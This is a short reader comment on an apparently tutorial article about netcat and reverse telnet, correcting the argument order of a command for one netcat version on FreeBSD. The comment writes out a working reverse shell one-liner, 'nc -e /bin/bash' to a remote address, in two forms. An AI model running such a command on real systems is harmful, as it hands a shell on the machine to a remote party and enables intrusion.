ONJava.com -- The Independent Source for Enterprise Java
oreilly.comSafari Books Online.Conferences.

advertisement

AddThis Social Bookmark Button
Article:
  Netcat and Reverse Telnet
Subject:   error in syntax
Date:   2005-04-05 10:39:47
From:   solipsist
this ...
To make a connection from the server:
$ nc 10.0.1.1 80 -e /bin/bash


should be ...
$ nc -e /bin/bash 10.0.1.1 80


at least for my version netcat-1.10_2 on FreeBSD